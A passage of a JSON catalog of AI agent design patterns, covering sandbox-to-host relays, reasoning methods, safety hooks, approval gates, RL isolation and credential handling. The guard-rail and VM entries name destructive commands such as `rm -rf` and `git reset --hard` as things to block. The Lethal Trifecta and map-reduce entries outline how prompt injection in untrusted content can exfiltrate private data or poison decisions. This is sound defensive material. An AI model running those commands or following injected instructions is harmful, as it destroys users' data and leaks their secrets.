      "A sandboxed or cloud agent must build, test, or run things on a specific host machine",
      "Host tasks outlive the sandbox's request timeout or lifetime",
      "Opening an inbound port on the developer machine is not acceptable"
    ],
    "anti_signals": [
      "Tight interactive loops where polling latency is too slow",
      "The sandbox cannot share a mounted directory with the host",
      "You cannot secure the directory with request authentication and strict permissions"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nAn agent that runs inside a sandbox — a container, a hosted runtime, a cloud\nworkspace — is deliberately cut off from the developer's real machine. That\nisolation is correct for safety, but it puts the most valuable work out of\nreach: the toolchain, the local filesystem, git credentials, the Docker daemon,\nand the half-configured services that only exist on someone's laptop.\n\nThe obvious fixes are worse than the problem:\n\n- **Open a port on the host.** Now the developer's machine exposes another\n  network service that must be authenticated, authorized, and reachable through\n  NAT or a corporate VPN.\n- **Hold a synchronous connection.** Sandboxes get suspended, hit request\n  timeouts, and are reaped. A 20-minute build outlives the caller, and when the\n  caller dies mid-flight the work is orphaned with no way to reclaim the result.\n- **Re-issue the call on reconnect.** Without a durable identity for the\n  request, a retry after a dropped connection re-runs a deploy or a migration\n  a second time.\n\nThe underlying difficulty is that the two sides have *different lifetimes*. The\nsandbox is ephemeral and may vanish mid-task; the host is long-lived. Any\nmechanism that assumes both endpoints stay alive for the duration of the work\nwill drop tasks."
  },
  {
    "title": "Frontier-Focused Development",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://www.youtube.com/watch?v=2wjnV6F2arc",
    "tags": [
      "frontier",
      "state-of-the-art",
      "model-selection",
      "product-strategy",
      "learning",
      "innovation",
      "no-selector"
    ],
    "slug": "frontier-focused-development",
    "id": "frontier-focused-development",
    "summary": "Targets only state-of-the-art models, picks the best model per use case with no user model selector, and expects to rework the product every few months",
    "signals": [
      "AI capability is the core value of the product",
      "Users are early adopters or developers who value speed over cost",
      "A small team can change direction quickly"
    ],
    "anti_signals": [
      "Enterprise customers require stability",
      "Cost-sensitive markets where top performance is not critical",
      "AI is a minor feature, or a large team cannot change direction each quarter"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI capabilities advance rapidly along predictable scaling laws—products optimized for today's models become obsolete in months. Many teams waste time solving problems that frontier models already solve, or build products tied to specific models that won't stay competitive."
  },
  {
    "title": "Graph of Thoughts (GoT)",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Besta et al.",
      "ETH Zurich"
    ],
    "category": "Feedback Loops",
    "source": "https://arxiv.org/abs/2308.09687",
    "tags": [
      "reasoning",
      "graph-based",
      "problem-solving",
      "thought-exploration",
      "backtracking",
      "aggregation"
    ],
    "slug": "graph-of-thoughts",
    "id": "graph-of-thoughts-got",
    "summary": "Represents reasoning as a directed graph of thoughts so the model can branch, aggregate, refine, and revisit reasoning paths",
    "signals": [
      "Problems need several solution approaches merged into one",
      "Early decisions may need revision based on later insights",
      "Reasoning steps have interdependencies that do not fit a chain or tree"
    ],
    "anti_signals": [
      "Straightforward problems with a single viable solution path",
      "Compute is limited, since cost is much higher than linear reasoning",
      "Reasoning branches never need to recombine"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLinear reasoning approaches like Chain-of-Thought (CoT) and even tree-based methods like Tree-of-Thoughts (ToT) have limitations when dealing with problems that require complex interdependencies between reasoning steps. Many real-world problems involve reasoning paths that merge, split, and recombine in ways that don't fit neatly into linear or tree structures. These problems need a more flexible approach that can represent arbitrary relationships between thoughts."
  },
  {
    "title": "Hook-Based Safety Guard Rails for Autonomous Code Agents",
    "status": "validated-in-production",
    "authors": [
      "yurukusa (@yurukusa)"
    ],
    "based_on": [
      "Claude Code Hooks (Anthropic)",
      "claude-code-ops-starter (https://github.com/yurukusa/claude-code-ops-starter)"
    ],
    "category": "Security & Safety",
    "source": "https://docs.anthropic.com/en/docs/claude-code/hooks",
    "tags": [
      "hooks",
      "guard-rails",
      "safety",
      "autonomous-operation",
      "destructive-command-blocking",
      "context-monitoring",
      "pre-tool-use",
      "post-tool-use"
    ],
    "slug": "hook-based-safety-guard-rails",
    "id": "hook-based-safety-guard-rails-for-autonomous-code-agents",
    "summary": "Runs small shell scripts on PreToolUse and PostToolUse hooks to block destructive commands, lint edits, and warn on context use outside the agent's reasoning",
    "signals": [
      "Code agents run unattended with shell and file write access",
      "Destructive commands or silent syntax errors are a risk",
      "The agent framework supports pre- and post-tool-use hooks"
    ],
    "anti_signals": [
      "The framework has no hook events",
      "You need complete protection, since pattern matching misses creative commands",
      "Every action already goes through human review"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAutonomous code agents running unattended can execute destructive commands (`rm -rf`, `git reset --hard`), exhaust their context window without saving state, leak secrets via `git push`, or silently produce syntax errors that cascade into later failures.\n\nThese failures share a pattern: the agent took an action that a simple automated check would have caught. The agent itself can't reliably self-police because it operates within the same context that produces the mistakes."
  },
  {
    "title": "Human-in-the-Loop Approval Framework",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Dexter Horthy (HumanLayer)"
    ],
    "category": "UX & Collaboration",
    "source": "https://claude.com/blog/building-companies-with-claude-code",
    "tags": [
      "human-oversight",
      "safety",
      "approvals",
      "risk-management",
      "collaboration",
      "slack-integration"
    ],
    "slug": "human-in-loop-approval-framework",
    "id": "human-in-the-loop-approval-framework",
    "summary": "Systematically insert human approval gates for designated high-risk functions while maintaining agent autonomy for safe operations, with multi-channel approval interfaces and comprehensive audit trails.",
    "signals": [
      "Agents run high-risk or irreversible operations such as production DB writes, payments, or deploys",
      "Compliance requires a record of who approved each sensitive action",
      "Humans can respond fast enough through Slack, email, or a dashboard"
    ],
    "anti_signals": [
      "All agent actions are safe or easily reversible",
      "No human is available to respond in time",
      "Approval volume would be so high that reviewers rubber-stamp requests"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAutonomous AI agents need to execute high-risk or irreversible operations (database modifications, production deployments, system configurations, API calls) but allowing unsupervised execution creates unacceptable safety and compliance risks. Blocking all such operations defeats the purpose of agent automation."
  },
  {
    "title": "Hybrid LLM/Code Workflow Coordinator",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (Imprint)"
    ],
    "category": "Orchestration & Control",
    "source": "https://lethain.com/agents-coordinators/",
    "tags": [
      "hybrid",
      "llm-driven",
      "code-driven",
      "coordinator",
      "determinism",
      "workflow-orchestration",
      "progressive-enhancement"
    ],
    "slug": "hybrid-llm-code-workflow-coordinator",
    "id": "hybrid-llmcode-workflow-coordinator",
    "summary": "Lets each workflow pick an LLM or a code script as its coordinator, so teams prototype with the LLM and move to reviewed code when determinism matters",
    "signals": [
      "Workflows start as quick LLM prototypes",
      "Some workflows cannot tolerate occasional LLM errors",
      "Critical workflow logic should go through code review"
    ],
    "anti_signals": [
      "The task is deterministic from the start, so write code directly",
      "Highly exploratory tasks that always need the LLM"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nLLM-driven workflows are **non-deterministic**—even well-crafted prompts can produce unpredictable results. For some tasks (e.g., adding emoji to Slack messages based on PR status), occasional errors are unacceptable. But LLM workflows are fast to prototype and work well for many cases. You need both: **flexibility when experimenting** and **determinism when it matters**."
  },
  {
    "title": "Incident-to-Eval Synthesis",
    "status": "emerging",
    "authors": [
      "Codex (@openai)"
    ],
    "based_on": [
      "Post-incident learning loops in software and ML operations"
    ],
    "category": "Feedback Loops",
    "source": "https://sre.google/sre-book/postmortem-culture/",
    "tags": [
      "evals",
      "incidents",
      "reliability",
      "feedback",
      "continuous-improvement"
    ],
    "slug": "incident-to-eval-synthesis",
    "id": "incident-to-eval-synthesis",
    "summary": "Converts each production incident into executable eval cases with pass/fail criteria and gates future releases on them",
    "signals": [
      "Production incidents recur after being fixed operationally",
      "The eval suite drifts away from failures seen in production",
      "Incident artifacts such as inputs, tool traces, and outputs can be captured"
    ],
    "anti_signals": [
      "No production traffic or incident history exists yet",
      "Incident data cannot be captured or redacted safely",
      "The team cannot take on triage overhead for each incident"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMany teams run agent evaluations, but the eval suite drifts away from real failures seen in production. Incidents get resolved operationally, yet the exact failure mode is rarely converted into a durable regression test. This creates repeat incidents and false confidence from stale benchmark sets."
  },
  {
    "title": "Inference-Healed Code Review Reward",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anonymous Speaker (Open Source Agent RL Talk)",
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Feedback Loops",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "reward-modeling",
      "code-review",
      "inference-healing",
      "quality-assessment"
    ],
    "slug": "inference-healed-code-review-reward",
    "id": "inference-healed-code-review-reward",
    "summary": "Replaces a binary tests-passed reward with a critic that scores correctness, style, performance, and security, explains low scores, and combines them",
    "signals": [
      "RL coding agents pass tests but produce low-quality patches",
      "The agent needs to know which quality aspect caused a low reward",
      "Linters, benchmarks, and static analyzers are available to feed sub-scores"
    ],
    "anti_signals": [
      "Test pass/fail fully captures what you care about",
      "Reward latency and compute from extra checks is not acceptable",
      "No labeled patch data to train or calibrate the critic"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nSimple reward functions that only check for \"all tests passed\" fail to capture nuanced code quality issues (e.g., performance regressions, style violations, missing edge-case handling). A single binary signal at the end cannot guide the agent to produce maintainable, high-quality code.\n\n- Verifying **only** final correctness misses suboptimal commits (e.g., a patch that removes error handling but still passes tests).\n- Reward models that produce a single scalar lack **explainability** to tell the agent which aspect of the code needs improvement."
  },
  {
    "title": "Inference-Time Scaling",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Google DeepMind",
      "OpenAI",
      "Wei et al. (CoT)",
      "Wang et al. (Self-Consistency)",
      "Yao et al. (Tree-of-Thought)"
    ],
    "category": "Orchestration & Control",
    "source": "https://deepmind.google/research/",
    "tags": [
      "scaling",
      "inference",
      "compute",
      "reasoning",
      "performance",
      "o1-model",
      "test-time-compute",
      "search",
      "verification"
    ],
    "slug": "inference-time-scaling",
    "id": "inference-time-scaling",
    "summary": "Spends extra compute at inference time with best-of-N sampling, longer reasoning, self-refinement, search, and verification to improve output quality",
    "signals": [
      "Complex reasoning tasks such as math or coding where more deliberation helps",
      "Output quality matters more than latency and cost",
      "You want a smaller model to match a larger one on hard tasks"
    ],
    "anti_signals": [
      "Simple tasks that gain nothing from extra compute",
      "Latency-sensitive responses",
      "Inference budget cannot absorb higher per-request cost"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional language models are limited by their training-time capabilities. Once trained, their performance is essentially fixed, regardless of how much compute is available at inference time. This means that for particularly challenging problems, we cannot simply \"think harder\" by allocating more computational resources to find better solutions. This limitation becomes especially apparent in complex reasoning tasks where more deliberation could lead to better outcomes."
  },
  {
    "title": "Initializer-Maintainer Dual Agent Architecture",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team",
      "Cursor Engineering (Planner-Worker Architecture)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents",
    "tags": [
      "long-running-agents",
      "session-handoff",
      "lifecycle-specialization",
      "project-bootstrap",
      "incremental-development"
    ],
    "slug": "initializer-maintainer-dual-agent",
    "id": "initializer-maintainer-dual-agent-architecture",
    "summary": "Uses a one-time initializer agent to create the feature list, progress files, and bootstrap script, then a coding agent that resumes from them one feature per session",
    "signals": [
      "Projects need many agent sessions over days or weeks",
      "Applications have many discrete features to track",
      "Context loss between sessions is costly"
    ],
    "anti_signals": [
      "Small, single-session tasks",
      "Exploratory or research projects with no clear feature list up front"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLong-running agent projects face distinct failure modes at different lifecycle stages:\n\n- **Project initialization** requires comprehensive setup: environment configuration, feature specification, test infrastructure, and progress tracking systems\n- **Incremental development** requires reading prior context, selecting the next task, implementing, and verifying—repeatedly across many sessions\n- Single-agent approaches either over-engineer each session (wasting setup time) or under-invest in foundations (leading to drift and confusion)\n- Session boundaries create context loss, causing agents to restart from scratch or lose track of project state"
  },
  {
    "title": "Intelligent Bash Tool Execution",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/agents/bash-tools.exec.ts",
    "tags": [
      "bash",
      "shell",
      "pty",
      "fallback",
      "security",
      "process-management",
      "sandboxing"
    ],
    "slug": "intelligent-bash-tool-execution",
    "id": "intelligent-bash-tool-execution",
    "summary": "Runs agent shell commands through a multi-mode executor that uses a PTY when needed, falls back to direct exec, and manages approvals, background jobs, and signals",
    "signals": [
      "Agents run TTY-required CLIs or interactive tools",
      "Agents start long-running background processes that need tracking and cleanup",
      "Command execution needs approval modes such as deny, allowlist, or full"
    ],
    "anti_signals": [
      "Agents only run simple non-interactive commands",
      "The environment cannot install or compile a native PTY module and needs no TTY support"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nSecure, reliable command execution from agents is complex and error-prone:\n\n- **PTY requirements**: TTY-required CLIs (coding agents, terminal UIs) fail with direct exec\n- **Platform differences**: Linux and macOS behave differently for detached processes, signal handling\n- **Security concerns**: Arbitrary command execution needs approval workflows, elevated mode detection\n- **Background management**: Long-running processes need tracking, output aggregation, and cleanup\n\nAgents need a multi-mode execution strategy that adapts to the command's requirements while maintaining security and reliability."
  },
  {
    "title": "Inversion of Control",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Quinn Slack",
      "Thorsten Ball"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.nibzard.com/ampcode",
    "tags": [
      "orchestration",
      "autonomy",
      "control"
    ],
    "slug": "inversion-of-control",
    "id": "inversion-of-control",
    "summary": "Gives the agent tools, a high-level objective, and guardrails, then lets it choose sequencing and recovery while humans set policy and review",
    "signals": [
      "Humans spend time scripting each step the agent takes",
      "Tasks have objective success criteria such as passing tests",
      "Guardrails and checkpoints can be enforced at risky boundaries"
    ],
    "anti_signals": [
      "No guardrails or telemetry exist to detect drift or overreach",
      "Tasks have vague success criteria that need step-by-step human judgement",
      "Every step is high risk and needs explicit human approval"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nPrompt-as-puppeteer workflows force humans to micromanage each step, turning agents into expensive autocomplete tools. This limits throughput, creates brittle instructions that break on small context changes, and prevents agents from using their own planning capability."
  },
  {
    "title": "Isolated VM per RL Rollout",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Sam Pretty (Cognition)",
      "Devon Engineering Team"
    ],
    "category": "Security & Safety",
    "source": "https://youtu.be/1s_7RMG4O4U",
    "tags": [
      "isolation",
      "security",
      "reinforcement-learning",
      "infrastructure",
      "state-management",
      "agent-rft"
    ],
    "slug": "isolated-vm-per-rl-rollout",
    "id": "isolated-vm-per-rl-rollout",
    "summary": "Spin up an isolated virtual machine for each RL rollout to prevent cross-contamination between parallel agent executions, ensuring safe training with destructive tool access.",
    "signals": [
      "RL training runs many parallel rollouts of an agent with shell or other stateful tools",
      "One rollout's side effects could corrupt another rollout's reward",
      "Infrastructure can handle bursts of hundreds of VMs or containers"
    ],
    "anti_signals": [
      "Tools are read-only or stateless, so shared infrastructure is safe",
      "Budget or provider quotas cannot support one VM per concurrent rollout",
      "State can live in a database keyed by rollout ID with no filesystem tools"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nDuring reinforcement learning training with tool-using agents, multiple rollouts execute simultaneously and may call destructive or stateful tools. This challenge is well-established in distributed RL research—A3C (Mnih et al., 2016) and PPO (Schulman et al., 2017) both rely on parallel isolated environment instances for stable gradient estimation.\n\n- **Cross-contamination**: One rollout's actions affect another rollout's environment\n- **Destructive commands**: Agent might run `rm -rf`, corrupting shared state\n- **State leakage**: File system changes persist across rollouts, creating inconsistent training data\n- **Reward corruption**: If rollout B sees rollout A's side effects, reward signals become meaningless\n- **Debugging nightmares**: Non-deterministic failures due to race conditions\n\nCognition faced this when training Devon's file planning agent: the agent had access to a `shell` tool that could run arbitrary commands like `grep`, `find`, or even `rm`. Running 32 parallel rollouts on shared infrastructure would cause chaos."
  },
  {
    "title": "Iterative Multi-Agent Brainstorming",
    "status": "experimental-but-awesome",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code capability)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "multi-agent",
      "brainstorming",
      "parallel processing",
      "idea generation",
      "sub-agents",
      "collaborative ideation"
    ],
    "slug": "iterative-multi-agent-brainstorming",
    "id": "iterative-multi-agent-brainstorming",
    "summary": "Spawns several agents in parallel on the same problem, often with different perspectives, then merges their ideas into one set of options",
    "signals": [
      "Task needs a wide range of ideas or solution approaches",
      "A single agent keeps converging on the same answer",
      "A coordinator agent or human can synthesize the outputs"
    ],
    "anti_signals": [
      "Task has one clear correct answer",
      "Budget cannot cover several parallel agent runs"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nFor complex problems or creative ideation, a single AI agent instance might get stuck in a local optimum or fail to explore a diverse range of solutions. Generating a breadth of ideas can be challenging for a sequential, monolithic process."
  },
  {
    "title": "Iterative Prompt & Skill Refinement",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (Imprint)"
    ],
    "category": "Feedback Loops",
    "source": "https://lethain.com/agents-iterative-refinement/",
    "tags": [
      "refinement",
      "iteration",
      "prompts",
      "skills",
      "feedback",
      "multi-mechanism",
      "continuous-improvement",
      "dashboards"
    ],
    "slug": "iterative-prompt-skill-refinement",
    "id": "iterative-prompt-skill-refinement",
    "summary": "Combines a feedback channel, editable prompt documents, log-driven skill fixes, and usage dashboards to improve agent prompts and skills continuously",
    "signals": [
      "Agent workflows run in production for many internal users",
      "Prompts and skills fail in ways no single review catches",
      "Workflow runs, errors, and tool usage can be logged"
    ],
    "anti_signals": [
      "Workflow is well understood and can be deterministic code",
      "No one has time to monitor feedback and dashboards"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAgent usage reveals gaps in prompts, skills, and tools—but how do you systematically improve them? When a workflow fails or behaves sub-optimally, you need multiple mechanisms to capture feedback and iterate. Single approaches aren't enough; you need a **multi-pronged refinement strategy**."
  },
  {
    "title": "Lane-Based Execution Queueing",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/process/command-queue.ts",
    "tags": [
      "queueing",
      "concurrency",
      "lanes",
      "isolation",
      "parallelism",
      "deadlock-prevention"
    ],
    "slug": "lane-based-execution-queueing",
    "id": "lane-based-execution-queueing",
    "summary": "Routes work into named lanes, each with its own queue and concurrency limit, so sessions never interleave and background jobs never block users",
    "signals": [
      "Several user sessions or channels share one agent process",
      "Background jobs like cron or sub-agents must not block user replies",
      "Output from concurrent commands must not interleave"
    ],
    "anti_signals": [
      "Work needs priorities, deadlines, or work stealing",
      "A single serial queue already gives enough throughput"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional agent systems serialize all operations through a single execution queue, creating bottlenecks that limit throughput. Concurrent execution is desirable but risky:\n\n- **Interleaving hazards**: Multiple commands writing to stdin/stdout simultaneously corrupt user-facing output\n- **Race conditions**: Shared state access without proper synchronization causes data corruption\n- **Deadlock risks**: Naive concurrent queuing can create circular dependencies between operations\n\nAgentic systems need parallelism to remain responsive (e.g., background tasks shouldn't block user interactions), but must preserve isolation guarantees."
  },
  {
    "title": "Language Agent Tree Search (LATS)",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Zhou et al.",
      "University of Illinois"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2310.04406",
    "tags": [
      "search",
      "monte-carlo",
      "tree-search",
      "reasoning",
      "planning",
      "reflection",
      "evaluation"
    ],
    "slug": "language-agent-tree-search-lats",
    "id": "language-agent-tree-search-lats",
    "summary": "Runs Monte Carlo Tree Search over reasoning steps, with the LLM generating candidate actions and scoring partial solutions to pick the best path",
    "signals": [
      "Task needs multi-step planning with many possible solution paths",
      "Linear ReAct or reflection loops get stuck in dead ends",
      "Budget allows 5-20x more LLM calls"
    ],
    "anti_signals": [
      "Task is simple or linear",
      "Real-time response is required",
      "Cost-sensitive application"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nCurrent language agents often struggle with complex reasoning tasks that require exploration of multiple solution paths. Simple linear approaches like ReACT or basic reflection patterns can get stuck in local optima or fail to consider alternative strategies. This is particularly problematic for tasks requiring strategic planning, mathematical reasoning, or multi-step problem solving where early decisions significantly impact later outcomes."
  },
  {
    "title": "Latent Demand Product Discovery",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Meta Product Teams"
    ],
    "category": "UX & Collaboration",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "product-discovery",
      "extensibility",
      "hackable-products",
      "power-users",
      "latent-demand"
    ],
    "slug": "latent-demand-product-discovery",
    "id": "latent-demand-product-discovery",
    "summary": "Builds hackable, extensible products, watches how power users repurpose them, and turns the most frequent workarounds into supported features",
    "signals": [
      "Product can expose hooks, plugins, or configuration to users",
      "Unclear which features have real demand",
      "Analytics can detect unexpected usage patterns"
    ],
    "anti_signals": [
      "No analytics or monitoring to detect usage patterns",
      "Power user behavior does not represent mainstream needs"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen building agent products, it's difficult to know which features will have real product-market fit before investing significant engineering effort. Traditional feature development relies on user interviews and surveys, which may not reveal how users would actually adapt tools to their needs."
  },
  {
    "title": "Layered Configuration Context",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code)"
    ],
    "category": "Context & Memory",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "context management",
      "configuration",
      "scoped context",
      "automatic loading",
      "CLAUDE.md"
    ],
    "slug": "layered-configuration-context",
    "id": "layered-configuration-context",
    "summary": "Loads context files from enterprise, user, project, and local levels automatically and merges them into the agent's baseline context",
    "signals": [
      "Agent needs project or team instructions in every session",
      "Organization, user, and project need different baseline context",
      "Same context is repeated manually in each prompt"
    ],
    "anti_signals": [
      "One-off tasks that need no persistent context",
      "Context window is too small to hold several layers"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents require relevant context to perform effectively. Providing this context manually in every prompt is cumbersome, and a one-size-fits-all global context is often too broad or too narrow. Different projects, users, and organizational policies may require different baseline information for the agent."
  },
  {
    "title": "Lethal Trifecta Threat Model",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Simon Willison"
    ],
    "category": "Reliability & Eval",
    "source": "https://simonwillison.net/2025/Jun/16/lethal-trifecta/",
    "tags": [
      "security",
      "prompt-injection",
      "threat-model",
      "data-exfiltration"
    ],
    "slug": "lethal-trifecta-threat-model",
    "id": "lethal-trifecta-threat-model",
    "summary": "Classifies each tool by private-data access, untrusted-content exposure, and external communication, and blocks any execution path that has all three",
    "signals": [
      "Agent reads private data and also processes untrusted content",
      "Agent can send data out through network or messaging tools",
      "Tools can be tagged with capability metadata"
    ],
    "anti_signals": [
      "Agent has no access to private data",
      "Agent has no way to communicate externally"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nCombining three agent capabilities—\n1. **Access to private data**\n2. **Exposure to untrusted content**\n3. **Ability to externally communicate**\n\n—creates a straightforward path for prompt-injection attackers to steal sensitive information.  \nLLMs cannot reliably distinguish \"good\" instructions from malicious ones once they appear in the same context window."
  },
  {
    "title": "LLM Map-Reduce Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Luca Beurer-Kellner et al. (2025)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "map-reduce",
      "sub-agents",
      "isolation",
      "untrusted-data"
    ],
    "slug": "llm-map-reduce-pattern",
    "id": "llm-map-reduce-pattern",
    "summary": "Processes each untrusted document in its own sandboxed LLM call with a constrained output, then aggregates the results with deterministic code",
    "signals": [
      "Many untrusted documents feed one decision",
      "One malicious item must not influence results for other items",
      "Items are independent and each gets a constrained answer"
    ],
    "anti_signals": [
      "Decision needs context across items",
      "Only a few trusted items to process"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen many untrusted documents are processed in a single reasoning context, one malicious item can influence global conclusions. This creates cross-document contamination where a single poisoned input affects unrelated items and final decisions."
  },
  {
    "title": "LLM Observability",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (Imprint)"
    ],
    "category": "Reliability & Eval",
    "source": "https://lethain.com/agents-logging/",
    "tags": [
      "observability",
      "logging",
      "debugging",
      "tracing",
      "datadog",
      "langsmith",
      "spans",
      "monitoring",
      "llmops"
    ],
    "slug": "llm-observability",
    "id": "llm-observability",
    "summary": "Sends agent runs to an LLM observability platform for span-level traces of each LLM call and tool use, plus aggregate cost, latency, and success metrics",
    "signals": [
      "Multi-step agent workflows are hard to debug from raw logs",
      "Non-engineers need to inspect workflow runs",
      "Team needs cost, latency, and success metrics across runs"
    ],
    "anti_signals": [
      "Simple, deterministic tools with no agent behavior",
      "Single-step operations where standard logs suffice",
      "Budget does not cover observability spend"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nAgents introduce **non-determinism**—the same input can produce different outputs. When agents do something sub-optimal, users flag it as a \"bug\" even if it's just prompt ambiguity. Debugging these issues requires tracing through complex multi-step workflows, but standard logging (CloudWatch, Lambda logs) is painful to navigate. Engineers need easy access to workflow execution details to debug quickly, or agents won't get adopted."
  },
  {
    "title": "LLM-Friendly API Design",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Lukas Möller (Cursor)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "api-design",
      "llm-interaction",
      "tool-use",
      "system-design",
      "code-structure",
      "agent-compatibility"
    ],
    "slug": "llm-friendly-api-design",
    "id": "llm-friendly-api-design",
    "summary": "Designs APIs with visible versions, self-descriptive names and schemas, simple calls, actionable errors, and few indirection levels so LLMs call them correctly",
    "signals": [
      "Agents call internal APIs or libraries as tools",
      "LLM often calls an API with the wrong version or parameters",
      "Error responses do not help the agent self-correct"
    ],
    "anti_signals": [
      "API is consumed only by humans",
      "Agent already uses a small, stable tool surface without errors"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nFor AI agents to reliably and effectively use tools, especially APIs or internal libraries, the design of these interfaces matters. APIs designed solely for human consumption might be ambiguous or overly complex for an LLM to use correctly without extensive fine-tuning or elaborate prompting."
  },
  {
    "title": "Local-First Credential Broker",
    "status": "emerging",
    "authors": [
      "Priyansh Khodiyar (@zriyansh)"
    ],
    "category": "Security & Safety",
    "source": "https://cloudsecurityalliance.org/artifacts/agentic-ai-identity-and-access-management-a-new-approach",
    "tags": [
      "credentials",
      "oauth",
      "api-keys",
      "proxy",
      "local-first",
      "agent-identity"
    ],
    "slug": "local-first-credential-broker",
    "id": "local-first-credential-broker",
    "summary": "Keep raw secrets out of the agent process by injecting credentials at the network layer through a local broker, rather than handing the agent environment variables or config files.",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "Agents call multiple authenticated SaaS APIs in one run",
      "Long-running headless workloads need OAuth2 refresh without a human at the keyboard",
      "Conversation logs, agent traces, and crash dumps must not contain real tokens"
    ],
    "anti_signals": [
      "Single static API key per agent, never rotated",
      "Multi-tenant agent fleet that needs per-user attribution on the same host",
      "Air-gapped environment with no network access at all"
    ],
    "prerequisites": [
      "Local OS keychain or filesystem with permission to store an encrypted vault",
      "Agent runtime that can route outbound HTTPS through a loopback proxy"
    ],
    "updated_at": "2026-07-23",
